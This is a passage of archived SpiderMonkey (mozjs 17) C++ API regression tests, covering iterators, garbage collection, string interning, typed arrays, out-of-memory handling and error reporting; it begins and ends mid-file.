ExhaustiveTest<4>(NORMAL_TWO) && ExhaustiveTest<0>(NORMAL_THREE) && ExhaustiveTest<1>(NORMAL_THREE) && ExhaustiveTest<2>(NORMAL_THREE) && ExhaustiveTest<3>(NORMAL_THREE) && ExhaustiveTest<4>(NORMAL_THREE) && ExhaustiveTest<5>(NORMAL_THREE) && ExhaustiveTest<0>(STRICT_ZERO) && ExhaustiveTest<1>(STRICT_ZERO) && ExhaustiveTest<2>(STRICT_ZERO) && ExhaustiveTest<0>(STRICT_ONE) && ExhaustiveTest<1>(STRICT_ONE) && ExhaustiveTest<2>(STRICT_ONE) && ExhaustiveTest<3>(STRICT_ONE) && ExhaustiveTest<0>(STRICT_TWO) && ExhaustiveTest<1>(STRICT_TWO) && ExhaustiveTest<2>(STRICT_TWO) && ExhaustiveTest<3>(STRICT_TWO) && ExhaustiveTest<4>(STRICT_TWO) && ExhaustiveTest<0>(STRICT_THREE) && ExhaustiveTest<1>(STRICT_THREE) && ExhaustiveTest<2>(STRICT_THREE) && ExhaustiveTest<3>(STRICT_THREE) && ExhaustiveTest<4>(STRICT_THREE) && ExhaustiveTest<5>(STRICT_THREE); } template bool ExhaustiveTest(const char funcode[]) { jsval v; EVAL(funcode, &v); EVAL(CALL_CODES[ArgCount], &v); ArgumentsObject &argsobj = JSVAL_TO_OBJECT(v)->asArguments(); Value elems[MAX_ELEMS]; for (size_t i = 0; i <= ArgCount; i++) { for (size_t j = 0; j <= ArgCount - i; j++) { ClearElements(elems); CHECK(argsobj.maybeGetElements(i, j, elems)); for (size_t k = 0; k < j; k++) CHECK_SAME(elems[k], INT_TO_JSVAL(i + k)); for (size_t k = j; k < MAX_ELEMS - 1; k++) CHECK_SAME(elems[k], JSVAL_NULL); CHECK_SAME(elems[MAX_ELEMS - 1], INT_TO_JSVAL(42)); } } return true; } END_TEST(testArgumentsObject) mozjs17.0.0/js/src/jsapi-tests/testCustomIterator.cpp0000664000175000017500000000366012106270662022646 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsclass.h" int count = 0; static JSBool IterNext(JSContext *cx, unsigned argc, jsval *vp) { if (count++ == 100) return JS_ThrowStopIteration(cx); JS_SET_RVAL(cx, vp, INT_TO_JSVAL(count)); return true; } static JSObject * IterHook(JSContext *cx, JS::HandleObject obj, JSBool keysonly) { JS::RootedObject iterObj(cx, JS_NewObject(cx, NULL, NULL, NULL)); if (!iterObj) return NULL; if (!JS_DefineFunction(cx, iterObj, "next", IterNext, 0, 0)) return NULL; return iterObj; } js::Class HasCustomIterClass = { "HasCustomIter", 0, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub, NULL, NULL, /* checkAccess */ NULL, /* call */ NULL, /* construct */ NULL, /* hasInstance */ NULL, /* mark */ { NULL, NULL, NULL, IterHook, NULL } }; JSBool IterClassConstructor(JSContext *cx, unsigned argc, jsval *vp) { JSObject *obj = JS_NewObjectForConstructor(cx, Jsvalify(&HasCustomIterClass), vp); if (!obj) return false; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(obj)); return true; } BEGIN_TEST(testCustomIterator_bug612523) { CHECK(JS_InitClass(cx, global, NULL, Jsvalify(&HasCustomIterClass), IterClassConstructor, 0, NULL, NULL, NULL, NULL)); jsval result; EVAL("var o = new HasCustomIter(); \n" "var j = 0; \n" "for (var i in o) { ++j; }; \n" "j;", &result); CHECK(JSVAL_IS_INT(result)); CHECK_EQUAL(JSVAL_TO_INT(result), 100); CHECK_EQUAL(count, 101); return true; } END_TEST(testCustomIterator_bug612523) mozjs17.0.0/js/src/jsapi-tests/testPropCache.cpp0000664000175000017500000000207412106270662021524 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" static int g_counter; static JSBool CounterAdd(JSContext *cx, JS::HandleObject obj, JS::HandleId id, JS::MutableHandleValue vp) { g_counter++; return JS_TRUE; } static JSClass CounterClass = { "Counter", /* name */ 0, /* flags */ CounterAdd, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; BEGIN_TEST(testPropCache_bug505798) { g_counter = 0; EXEC("var x = {};"); CHECK(JS_DefineObject(cx, global, "y", &CounterClass, NULL, JSPROP_ENUMERATE)); EXEC("var arr = [x, y];\n" "for (var i = 0; i < arr.length; i++)\n" " arr[i].p = 1;\n"); CHECK_EQUAL(g_counter, 1); return true; } END_TEST(testPropCache_bug505798) mozjs17.0.0/js/src/jsapi-tests/testSameValue.cpp0000664000175000017500000000161312106270662021540 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" BEGIN_TEST(testSameValue) { /* * NB: passing a double that fits in an integer jsval is API misuse. As a * matter of defense in depth, however, JS_SameValue should return the * correct result comparing a positive-zero double to a negative-zero * double, and this is believed to be the only way to make such a * comparison possible. */ jsval v1 = DOUBLE_TO_JSVAL(0.0); jsval v2 = DOUBLE_TO_JSVAL(-0.0); JSBool same; CHECK(JS_SameValue(cx, v1, v2, &same)); CHECK(!same); return true; } END_TEST(testSameValue) mozjs17.0.0/js/src/jsapi-tests/testIntern.cpp0000664000175000017500000000242312106270662021115 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsatom.h" #include "vm/String.h" using namespace mozilla; BEGIN_TEST(testAtomizedIsNotInterned) { /* Try to pick a string that won't be interned by other tests in this runtime. */ static const char someChars[] = "blah blah blah? blah blah blah"; JSAtom *atom = js::Atomize(cx, someChars, ArrayLength(someChars)); CHECK(!JS_StringHasBeenInterned(cx, atom)); CHECK(JS_InternJSString(cx, atom)); CHECK(JS_StringHasBeenInterned(cx, atom)); return true; } END_TEST(testAtomizedIsNotInterned) struct StringWrapper { JSString *str; bool strOk; } sw; void FinalizeCallback(JSFreeOp *fop, JSFinalizeStatus status, JSBool isCompartmentGC) { if (status == JSFINALIZE_START) sw.strOk = !JS_IsAboutToBeFinalized(sw.str); } BEGIN_TEST(testInternAcrossGC) { sw.str = JS_InternString(cx, "wrapped chars that another test shouldn't be using"); sw.strOk = false; CHECK(sw.str); JS_SetFinalizeCallback(rt, FinalizeCallback); JS_GC(rt); CHECK(sw.strOk); return true; } END_TEST(testInternAcrossGC) mozjs17.0.0/js/src/jsapi-tests/testIntTypesABI.cpp0000664000175000017500000000411212106270662021746 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" /* * This test exercises the full, deliberately-exposed JSAPI interface to ensure * that no internal integer typedefs leak out. Include every intentionally * public header file (and those headers included by them, for completeness), * even the ones tests.h itself included, to verify this. */ #include "js-config.h" #include "jsapi.h" #include "jsclass.h" #include "jscpucfg.h" #include "jspubtd.h" #include "jstypes.h" #include "jsval.h" #include "js/HashTable.h" #include "js/MemoryMetrics.h" #include "js/TemplateLib.h" #include "js/Utility.h" #include "js/Vector.h" /* * Verify that our public (and intended to be public, versus being that way * because we haven't made them private yet) headers don't define * {u,}int{8,16,32,64} or JS{Ui,I}nt{8,16,32,64} types. If any do, they will * assuredly conflict with a corresponding typedef below mapping to a *struct*. * * Note that tests.h includes a few internal headers; in order that this * jsapi-test be writable, those internal headers must not import the legacy * typedefs. */ struct ConflictingType { uint64_t u64; }; typedef ConflictingType uint8; typedef ConflictingType uint16; typedef ConflictingType uint32; typedef ConflictingType uint64; typedef ConflictingType int8; typedef ConflictingType int16; typedef ConflictingType int32; typedef ConflictingType int64; typedef ConflictingType JSUint8; typedef ConflictingType JSUint16; typedef ConflictingType JSUint32; typedef ConflictingType JSUint64; typedef ConflictingType JSInt8; typedef ConflictingType JSInt16; typedef ConflictingType JSInt32; typedef ConflictingType JSInt64; typedef ConflictingType jsword; typedef ConflictingType jsuword; typedef ConflictingType JSWord; typedef ConflictingType JSUword; BEGIN_TEST(testIntTypesABI) { /* This passes if the typedefs didn't conflict at compile time. */ return true; } END_TEST(testIntTypesABI) mozjs17.0.0/js/src/jsapi-tests/testConservativeGC.cpp0000664000175000017500000000473312106270662022546 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsobj.h" #include "vm/String.h" BEGIN_TEST(testConservativeGC) { #ifndef JSGC_USE_EXACT_ROOTING JS::RootedValue v2(cx); EVAL("({foo: 'bar'});", v2.address()); CHECK(v2.isObject()); char objCopy[sizeof(JSObject)]; js_memcpy(&objCopy, JSVAL_TO_OBJECT(v2), sizeof(JSObject)); JS::RootedValue v3(cx); EVAL("String(Math.PI);", v3.address()); CHECK(JSVAL_IS_STRING(v3)); char strCopy[sizeof(JSString)]; js_memcpy(&strCopy, JSVAL_TO_STRING(v3), sizeof(JSString)); jsval tmp; EVAL("({foo2: 'bar2'});", &tmp); CHECK(tmp.isObject()); JS::RootedObject obj2(cx, JSVAL_TO_OBJECT(tmp)); char obj2Copy[sizeof(JSObject)]; js_memcpy(&obj2Copy, obj2, sizeof(JSObject)); EVAL("String(Math.sqrt(3));", &tmp); CHECK(JSVAL_IS_STRING(tmp)); JS::RootedString str2(cx, JSVAL_TO_STRING(tmp)); char str2Copy[sizeof(JSString)]; js_memcpy(&str2Copy, str2, sizeof(JSString)); tmp = JSVAL_NULL; JS_GC(rt); EVAL("var a = [];\n" "for (var i = 0; i != 10000; ++i) {\n" "a.push(i + 0.1, [1, 2], String(Math.sqrt(i)), {a: i});\n" "}", &tmp); JS_GC(rt); checkObjectFields((JSObject *)objCopy, JSVAL_TO_OBJECT(v2)); CHECK(!memcmp(strCopy, JSVAL_TO_STRING(v3), sizeof(strCopy))); checkObjectFields((JSObject *)obj2Copy, obj2); CHECK(!memcmp(str2Copy, str2, sizeof(str2Copy))); #endif /* JSGC_USE_EXACT_ROOTING */ return true; } bool checkObjectFields(JSObject *savedCopy, JSObject *obj) { /* Ignore fields which are unstable across GCs. */ CHECK(savedCopy->lastProperty() == obj->lastProperty()); CHECK(savedCopy->getProto() == obj->getProto()); return true; } END_TEST(testConservativeGC) BEGIN_TEST(testDerivedValues) { JSString *str = JS_NewStringCopyZ(cx, "once upon a midnight dreary"); JS::Anchor str_anchor(str); static const jschar expected[] = { 'o', 'n', 'c', 'e' }; const jschar *ch = JS_GetStringCharsZ(cx, str); str = NULL; /* Do a lot of allocation and collection. */ for (int i = 0; i < 3; i++) { for (int j = 0; j < 1000; j++) JS_NewStringCopyZ(cx, "as I pondered weak and weary"); JS_GC(rt); } CHECK(!memcmp(ch, expected, sizeof(expected))); return true; } END_TEST(testDerivedValues) mozjs17.0.0/js/src/jsapi-tests/testOOM.cpp0000664000175000017500000000133212106270662020306 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "mozilla/Util.h" BEGIN_TEST(testOOM) { JSString *jsstr = JS_ValueToString(cx, INT_TO_JSVAL(9)); jsval tmp = STRING_TO_JSVAL(jsstr); JS_SetProperty(cx, global, "rootme", &tmp); mozilla::DebugOnly s = JS_GetStringCharsZ(cx, jsstr); JS_ASSERT(s[0] == '9' && s[1] == '\0'); return true; } virtual JSRuntime * createRuntime() { JSRuntime *rt = JS_NewRuntime(0); JS_SetGCParameter(rt, JSGC_MAX_BYTES, (uint32_t)-1); return rt; } END_TEST(testOOM) mozjs17.0.0/js/src/jsapi-tests/testDeepFreeze.cpp0000664000175000017500000000306112106270662021673 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" BEGIN_TEST(testDeepFreeze_bug535703) { jsval v; EVAL("var x = {}; x;", &v); JS::RootedObject obj(cx, JSVAL_TO_OBJECT(v)); CHECK(JS_DeepFreezeObject(cx, obj)); // don't crash EVAL("Object.isFrozen(x)", &v); CHECK_SAME(v, JSVAL_TRUE); return true; } END_TEST(testDeepFreeze_bug535703) BEGIN_TEST(testDeepFreeze_deep) { jsval a, o; EXEC("var a = {}, o = a;\n" "for (var i = 0; i < 5000; i++)\n" " a = {x: a, y: a};\n"); EVAL("a", &a); EVAL("o", &o); JS::RootedObject aobj(cx, JSVAL_TO_OBJECT(a)); CHECK(JS_DeepFreezeObject(cx, aobj)); jsval b; EVAL("Object.isFrozen(a)", &b); CHECK_SAME(b, JSVAL_TRUE); EVAL("Object.isFrozen(o)", &b); CHECK_SAME(b, JSVAL_TRUE); return true; } END_TEST(testDeepFreeze_deep) BEGIN_TEST(testDeepFreeze_loop) { jsval x, y; EXEC("var x = [], y = {x: x}; y.y = y; x.push(x, y);"); EVAL("x", &x); EVAL("y", &y); JS::RootedObject xobj(cx, JSVAL_TO_OBJECT(x)); CHECK(JS_DeepFreezeObject(cx, xobj)); jsval b; EVAL("Object.isFrozen(x)", &b); CHECK_SAME(b, JSVAL_TRUE); EVAL("Object.isFrozen(y)", &b); CHECK_SAME(b, JSVAL_TRUE); return true; } END_TEST(testDeepFreeze_loop) mozjs17.0.0/js/src/jsapi-tests/testLookup.cpp0000664000175000017500000000523612106270662021134 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsfun.h" // for js::IsInternalFunctionObject #include "jsobjinlines.h" BEGIN_TEST(testLookup_bug522590) { // Define a function that makes method-bearing objects. JS::RootedValue x(cx); EXEC("function mkobj() { return {f: function () {return 2;}} }"); // Calling mkobj() multiple times must create multiple functions in ES5. EVAL("mkobj().f !== mkobj().f", x.address()); CHECK_SAME(x, JSVAL_TRUE); // Now make x.f a method. EVAL("mkobj()", x.address()); JS::RootedObject xobj(cx, JSVAL_TO_OBJECT(x)); // This lookup must not return an internal function object. JS::RootedValue r(cx); CHECK(JS_LookupProperty(cx, xobj, "f", r.address())); CHECK(r.isObject()); JSObject *funobj = &r.toObject(); CHECK(funobj->isFunction()); CHECK(!js::IsInternalFunctionObject(funobj)); return true; } END_TEST(testLookup_bug522590) JSBool document_resolve(JSContext *cx, JSHandleObject obj, JSHandleId id, unsigned flags, JSMutableHandleObject objp) { // If id is "all", and we're not detecting, resolve document.all=true. JS::RootedValue v(cx); if (!JS_IdToValue(cx, id, v.address())) return false; if (JSVAL_IS_STRING(v)) { JSString *str = JSVAL_TO_STRING(v); JSFlatString *flatStr = JS_FlattenString(cx, str); if (!flatStr) return false; if (JS_FlatStringEqualsAscii(flatStr, "all") && !(flags & JSRESOLVE_DETECTING)) { JSBool ok = JS_DefinePropertyById(cx, obj, id, JSVAL_TRUE, NULL, NULL, 0); objp.set(ok ? obj.get() : NULL); return ok; } } objp.set(NULL); return true; } static JSClass document_class = { "document", JSCLASS_NEW_RESOLVE, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, (JSResolveOp) document_resolve, JS_ConvertStub }; BEGIN_TEST(testLookup_bug570195) { JS::RootedObject obj(cx, JS_NewObject(cx, &document_class, NULL, NULL)); CHECK(obj); CHECK(JS_DefineProperty(cx, global, "document", OBJECT_TO_JSVAL(obj), NULL, NULL, 0)); JS::RootedValue v(cx); EVAL("document.all ? true : false", v.address()); CHECK_SAME(v, JSVAL_FALSE); EVAL("document.hasOwnProperty('all')", v.address()); CHECK_SAME(v, JSVAL_FALSE); return true; } END_TEST(testLookup_bug570195) mozjs17.0.0/js/src/jsapi-tests/testExternalStrings.cpp0000664000175000017500000000304212106270662023010 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsutil.h" static const jschar arr[] = { 'h', 'i', ',', 'd', 'o', 'n', '\'', 't', ' ', 'd', 'e', 'l', 'e', 't', 'e', ' ', 'm', 'e', '\0' }; static const size_t arrlen = sizeof(arr) / sizeof(arr[0]) - 1; static int finalized1 = 0; static int finalized2 = 0; static void finalize_str(const JSStringFinalizer *fin, jschar *chars); static const JSStringFinalizer finalizer1 = { finalize_str }; static const JSStringFinalizer finalizer2 = { finalize_str }; static void finalize_str(const JSStringFinalizer *fin, jschar *chars) { if (chars && js::PodEqual(const_cast(chars), arr, arrlen)) { if (fin == &finalizer1) { ++finalized1; } else if (fin == &finalizer2) { ++finalized2; } } } BEGIN_TEST(testExternalStrings) { const unsigned N = 1000; for (unsigned i = 0; i < N; ++i) { CHECK(JS_NewExternalString(cx, arr, arrlen, &finalizer1)); CHECK(JS_NewExternalString(cx, arr, arrlen, &finalizer2)); } // clear that newborn root JS_NewUCStringCopyN(cx, arr, arrlen); JS_GC(rt); // a generous fudge factor to account for strings rooted by conservative gc const unsigned epsilon = 10; CHECK((N - finalized1) < epsilon); CHECK((N - finalized2) < epsilon); return true; } END_TEST(testExternalStrings) mozjs17.0.0/js/src/jsapi-tests/testFuncCallback.cpp0000664000175000017500000000756612106270662022203 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsfun.h" #include "jscntxt.h" #include "jsobjinlines.h" #ifdef MOZ_TRACE_JSCALLS static int depth = 0; static int enters = 0; static int leaves = 0; static int interpreted = 0; static void funcTransition(const JSFunction *, const JSScript *, const JSContext *cx, int entering) { if (entering > 0) { ++depth; ++enters; ++interpreted; } else { --depth; ++leaves; } } static JSBool called2 = false; static void funcTransition2(const JSFunction *, const JSScript*, const JSContext*, int) { called2 = true; } static int overlays = 0; static JSFunctionCallback innerCallback = NULL; static void funcTransitionOverlay(const JSFunction *fun, const JSScript *script, const JSContext *cx, int entering) { (*innerCallback)(fun, script, cx, entering); overlays++; } #endif BEGIN_TEST(testFuncCallback_bug507012) { #ifdef MOZ_TRACE_JSCALLS // Call funcTransition() whenever a Javascript method is invoked JS_SetFunctionCallback(cx, funcTransition); EXEC("x = 0; function f (n) { if (n > 1) { f(n - 1); } }"); interpreted = enters = leaves = depth = 0; // Check whether JS_Execute() tracking works EXEC("42"); CHECK_EQUAL(enters, 1); CHECK_EQUAL(leaves, 1); CHECK_EQUAL(depth, 0); interpreted = enters = leaves = depth = 0; // Check whether the basic function tracking works EXEC("f(1)"); CHECK_EQUAL(enters, 1+1); CHECK_EQUAL(leaves, 1+1); CHECK_EQUAL(depth, 0); // Can we switch to a different callback? enters = 777; JS_SetFunctionCallback(cx, funcTransition2); EXEC("f(1)"); CHECK(called2); CHECK_EQUAL(enters, 777); // Check whether we can turn off function tracing JS_SetFunctionCallback(cx, NULL); EXEC("f(1)"); CHECK_EQUAL(enters, 777); interpreted = enters = leaves = depth = 0; // Check nested invocations JS_SetFunctionCallback(cx, funcTransition); enters = leaves = depth = 0; EXEC("f(3)"); CHECK_EQUAL(enters, 1+3); CHECK_EQUAL(leaves, 1+3); CHECK_EQUAL(depth, 0); interpreted = enters = leaves = depth = 0; // Check calls invoked while running on trace -- or now, perhaps on // IonMonkey's equivalent, if it ever starts to exist? EXEC("function g () { ++x; }"); interpreted = enters = leaves = depth = 0; EXEC("for (i = 0; i < 5000; ++i) { g(); }"); CHECK_EQUAL(enters, 1+5000); CHECK_EQUAL(leaves, 1+5000); CHECK_EQUAL(depth, 0); // Test nesting callbacks via JS_GetFunctionCallback() JS_SetFunctionCallback(cx, funcTransition); innerCallback = JS_GetFunctionCallback(cx); JS_SetFunctionCallback(cx, funcTransitionOverlay); EXEC("x = 0; function f (n) { if (n > 1) { f(n - 1); } }"); interpreted = enters = leaves = depth = overlays = 0; EXEC("42.5"); CHECK_EQUAL(enters, 1); CHECK_EQUAL(leaves, 1); CHECK_EQUAL(depth, 0); CHECK_EQUAL(overlays, enters + leaves); interpreted = enters = leaves = depth = overlays = 0; #endif // Uncomment this to validate whether you're hitting all runmodes (interp, // mjit, ...?) Unfortunately, that still doesn't cover all // transitions between the various runmodes, but it's a start. //JS_DumpAllProfiles(cx); return true; } // Make sure that the method jit is enabled. // We'll probably want to test in all modes. virtual JSContext *createContext() { JSContext *cx = JSAPITest::createContext(); if (cx) JS_SetOptions(cx, JS_GetOptions(cx) | JSOPTION_METHODJIT | JSOPTION_PCCOUNT); return cx; } END_TEST(testFuncCallback_bug507012) mozjs17.0.0/js/src/jsapi-tests/testSourcePolicy.cpp0000664000175000017500000000132512106270662022276 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" BEGIN_TEST(testBug795104) { JS::CompileOptions opts(cx); opts.setSourcePolicy(JS::CompileOptions::NO_SOURCE); const size_t strLen = 60002; char *s = static_cast(JS_malloc(cx, strLen)); CHECK(s); s[0] = '"'; memset(s + 1, 'x', strLen - 2); s[strLen - 1] = '"'; CHECK(JS::Evaluate(cx, global, opts, s, strLen, NULL)); CHECK(JS::CompileFunction(cx, global, opts, "f", 0, NULL, s, strLen)); JS_free(cx, s); return true; } END_TEST(testBug795104) mozjs17.0.0/js/src/jsapi-tests/testGCOutOfMemory.cpp0000664000175000017500000000266612106270662022326 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: * * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Igor Bukanov */ #include "tests.h" #include "jscntxt.h" static unsigned errorCount = 0; static void ErrorCounter(JSContext *cx, const char *message, JSErrorReport *report) { ++errorCount; } BEGIN_TEST(testGCOutOfMemory) { JS_SetErrorReporter(cx, ErrorCounter); JS::RootedValue root(cx); static const char source[] = "var max = 0; (function() {" " var array = [];" " for (; ; ++max)" " array.push({});" " array = []; array.push(0);" "})();"; JSBool ok = JS_EvaluateScript(cx, global, source, strlen(source), "", 1, root.address()); /* Check that we get OOM. */ CHECK(!ok); CHECK(!JS_IsExceptionPending(cx)); CHECK_EQUAL(errorCount, 1); JS_GC(rt); EVAL("(function() {" " var array = [];" " for (var i = max >> 2; i != 0;) {" " --i;" " array.push({});" " }" "})();", root.address()); CHECK_EQUAL(errorCount, 1); return true; } virtual JSRuntime * createRuntime() { return JS_NewRuntime(512 * 1024); } virtual void destroyRuntime() { JS_DestroyRuntime(rt); } END_TEST(testGCOutOfMemory) mozjs17.0.0/js/src/jsapi-tests/testErrorCopying.cpp0000664000175000017500000000202412106270662022275 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: * * Tests that the column number of error reports is properly copied over from * other reports when invoked from the C++ api. */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jscntxt.h" static uint32_t column = 0; static void my_ErrorReporter(JSContext *cx, const char *message, JSErrorReport *report) { column = report->column; } BEGIN_TEST(testErrorCopying_columnCopied) { //0 1 2 //0123456789012345678901234567 EXEC("function check() { Object; foo; }"); JS::RootedValue rval(cx); JS_SetErrorReporter(cx, my_ErrorReporter); CHECK(!JS_CallFunctionName(cx, global, "check", 0, NULL, rval.address())); CHECK(column == 27); return true; } END_TEST(testErrorCopying_columnCopied) mozjs17.0.0/js/src/jsapi-tests/testTypedArrays.cpp0000664000175000017500000001507012106270662022127 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsfriendapi.h" using namespace js; BEGIN_TEST(testTypedArrays) { bool ok = true; ok = ok && TestPlainTypedArray(cx) && TestPlainTypedArray(cx) && TestPlainTypedArray(cx) && TestPlainTypedArray(cx) && TestPlainTypedArray(cx) && TestPlainTypedArray(cx) && TestPlainTypedArray(cx) && TestPlainTypedArray(cx) && TestPlainTypedArray(cx); size_t nbytes = sizeof(double) * 8; RootedObject buffer(cx, JS_NewArrayBuffer(cx, nbytes)); CHECK(JS_IsArrayBufferObject(buffer, cx)); RootedObject proto(cx, JS_GetPrototype(buffer)); CHECK(!JS_IsArrayBufferObject(proto, cx)); RootedObject dummy(cx, JS_GetParent(proto)); CHECK(!JS_IsArrayBufferObject(dummy, cx)); CHECK_EQUAL(JS_GetArrayBufferByteLength(buffer, cx), nbytes); memset(JS_GetArrayBufferData(buffer, cx), 1, nbytes); ok = ok && TestArrayFromBuffer(cx) && TestArrayFromBuffer(cx) && TestArrayFromBuffer(cx) && TestArrayFromBuffer(cx) && TestArrayFromBuffer(cx) && TestArrayFromBuffer(cx) && TestArrayFromBuffer(cx) && TestArrayFromBuffer(cx) && TestArrayFromBuffer(cx); return ok; } template bool TestPlainTypedArray(JSContext *cx) { RootedObject array(cx, Create(cx, 7)); CHECK(JS_IsTypedArrayObject(array, cx)); RootedObject proto(cx, JS_GetPrototype(array)); CHECK(!JS_IsTypedArrayObject(proto, cx)); RootedObject dummy(cx, JS_GetParent(proto)); CHECK(!JS_IsTypedArrayObject(dummy, cx)); CHECK_EQUAL(JS_GetTypedArrayLength(array, cx), 7); CHECK_EQUAL(JS_GetTypedArrayByteOffset(array, cx), 0); CHECK_EQUAL(JS_GetTypedArrayByteLength(array, cx), sizeof(Element) * 7); Element *data; CHECK(data = GetData(array, cx)); *data = 13; jsval v; CHECK(JS_GetElement(cx, array, 0, &v)); CHECK_SAME(v, INT_TO_JSVAL(13)); return true; } template bool TestArrayFromBuffer(JSContext *cx) { size_t elts = 8; size_t nbytes = elts * sizeof(Element); RootedObject buffer(cx, JS_NewArrayBuffer(cx, nbytes)); uint8_t *bufdata; CHECK(bufdata = JS_GetArrayBufferData(buffer, cx)); memset(bufdata, 1, nbytes); RootedObject array(cx, CreateWithBuffer(cx, buffer, 0, -1)); CHECK_EQUAL(JS_GetTypedArrayLength(array, cx), elts); CHECK_EQUAL(JS_GetTypedArrayByteOffset(array, cx), 0); CHECK_EQUAL(JS_GetTypedArrayByteLength(array, cx), nbytes); Element *data; CHECK(data = GetData(array, cx)); CHECK(bufdata = JS_GetArrayBufferData(buffer, cx)); CHECK_EQUAL((void*) data, (void*) bufdata); CHECK_EQUAL(*bufdata, 1); CHECK_EQUAL(*reinterpret_cast(data), 1); RootedObject shortArray(cx, CreateWithBuffer(cx, buffer, 0, elts / 2)); CHECK_EQUAL(JS_GetTypedArrayLength(shortArray, cx), elts / 2); CHECK_EQUAL(JS_GetTypedArrayByteOffset(shortArray, cx), 0); CHECK_EQUAL(JS_GetTypedArrayByteLength(shortArray, cx), nbytes / 2); RootedObject ofsArray(cx, CreateWithBuffer(cx, buffer, nbytes / 2, -1)); CHECK_EQUAL(JS_GetTypedArrayLength(ofsArray, cx), elts / 2); CHECK_EQUAL(JS_GetTypedArrayByteOffset(ofsArray, cx), nbytes / 2); CHECK_EQUAL(JS_GetTypedArrayByteLength(ofsArray, cx), nbytes / 2); // Make sure all 3 views reflect the same buffer at the expected locations jsval v = INT_TO_JSVAL(39); JS_SetElement(cx, array, 0, &v); jsval v2; CHECK(JS_GetElement(cx, array, 0, &v2)); CHECK_SAME(v, v2); CHECK(JS_GetElement(cx, shortArray, 0, &v2)); CHECK_SAME(v, v2); CHECK_EQUAL(long(JSVAL_TO_INT(v)), long(reinterpret_cast(data)[0])); v = INT_TO_JSVAL(40); JS_SetElement(cx, array, elts / 2, &v); CHECK(JS_GetElement(cx, array, elts / 2, &v2)); CHECK_SAME(v, v2); CHECK(JS_GetElement(cx, ofsArray, 0, &v2)); CHECK_SAME(v, v2); CHECK_EQUAL(long(JSVAL_TO_INT(v)), long(reinterpret_cast(data)[elts / 2])); v = INT_TO_JSVAL(41); JS_SetElement(cx, array, elts - 1, &v); CHECK(JS_GetElement(cx, array, elts - 1, &v2)); CHECK_SAME(v, v2); CHECK(JS_GetElement(cx, ofsArray, elts / 2 - 1, &v2)); CHECK_SAME(v, v2); CHECK_EQUAL(long(JSVAL_TO_INT(v)), long(reinterpret_cast(data)[elts - 1])); 